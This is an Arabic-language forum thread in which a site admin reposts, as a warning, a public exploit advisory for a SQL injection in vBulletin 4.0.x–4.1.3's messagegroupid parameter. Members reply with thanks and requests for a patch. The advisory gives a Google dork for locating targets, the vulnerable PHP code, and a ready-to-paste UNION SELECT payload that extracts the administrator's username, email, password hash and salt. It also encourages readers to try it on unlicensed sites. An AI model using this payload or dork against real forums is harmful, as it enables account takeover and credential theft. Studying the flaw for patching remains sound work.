تنبيه : Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection

Eng Ahmed

ادارة المنتدى
9 مارس 2008
3,318
11
38
www.support-ar.com

السلام عليكم ورحمه الله وبركاته.
بسم الله الرحمن الرحيم.
كل عام وانتم بخير ومبارك علينا وعليكم الشهر الكريم .

اليوم خلال تصفحي حصلت على هذه الثغرة

كود الثغرة .:​

كود:
# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S   
# Software Link: [[URL="http://www.vbulletin.com/%5D"]http://www.vbulletin.com/][/URL]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[URL="http://members.vbulletin.com/"]]Please Log In[/URL]
 
######################################################################################################
Vulnerability:
######################################################################################################
 
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability  in parameter "&messagegroupid" due to improper input validation.
 
#####################################################################################################
Vulnerable Code:
#####################################################################################################
 
File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid
 
 
 
         
        if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
 
        {
 
            $value = $registry->GPC['messagegroupid'];
 
            if (!is_array($value))
 
            {
 
                $value = array($value);
 
            }
 
 
 
            if (!(in_array(' ',$value) OR in_array('',$value)))
 
            {
 
                if ($rst = $vbulletin->db->query_read("
 
                    SELECT socialgroup.name
 
                    FROM " . TABLE_PREFIX."socialgroup AS socialgroup
 
--->                 WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
 
                 
            }
 
 
 
############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
          --> Search Single Content Type
 
Keywords :   Valid Group Message
 
Search Type : Group Messages
 
Search in Group : Valid Group Id
 
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
 
##########################################################################################
More Details:
##########################################################################################
[URL="http://www.garage4hackers.com/"]Http://www.Garage4Hackers.com[/URL]
[URL="http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-%28messagegroupid%29-SQL-injection-Vulnerability-0-day"]Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day[/URL]
 
 
###########################################################################################
Note:
###########################################################################################
 
Funny part was that, a similar bug was found in the same module, search  query two months back. Any way Vbulletin has released a patch as it was  reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people  to play with the many Nulled VB sites out there. " Say No to Piracy  Disclosure ".

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

ولهذا وٌجبَ التنبيــه .

 

hassanlab

:: متميز :: , بقسم المشاكل والحلول
1 يوليو 2011
394
9
0
53
cairo
lmsat7asan.com
اذا لم نتعلم منك ..فمن من نتعلم !
ممكن شرح حتى تكتمل الصورة بالنسبة لى
شكرا لك
 

elb7a

عضو جديد
30 مايو 2011
7
0
0
شكرا جدا

ممكن شرح ترقيع الثغرة ؟
 

dr.x

عضو جديد
28 أغسطس 2011
2
0
0
السلام عليكم

ما الترقيع لها؟
 

وفاء نادر

عضو جديد
26 ديسمبر 2010
767
2
0


يعطيك العافية يالغلا
جد مميز بكل شيء شكرا لحضرتك وشكراً للدعم العربي الذي علمني الكثير وما زلت اتعلم من هذا المعهد الكبير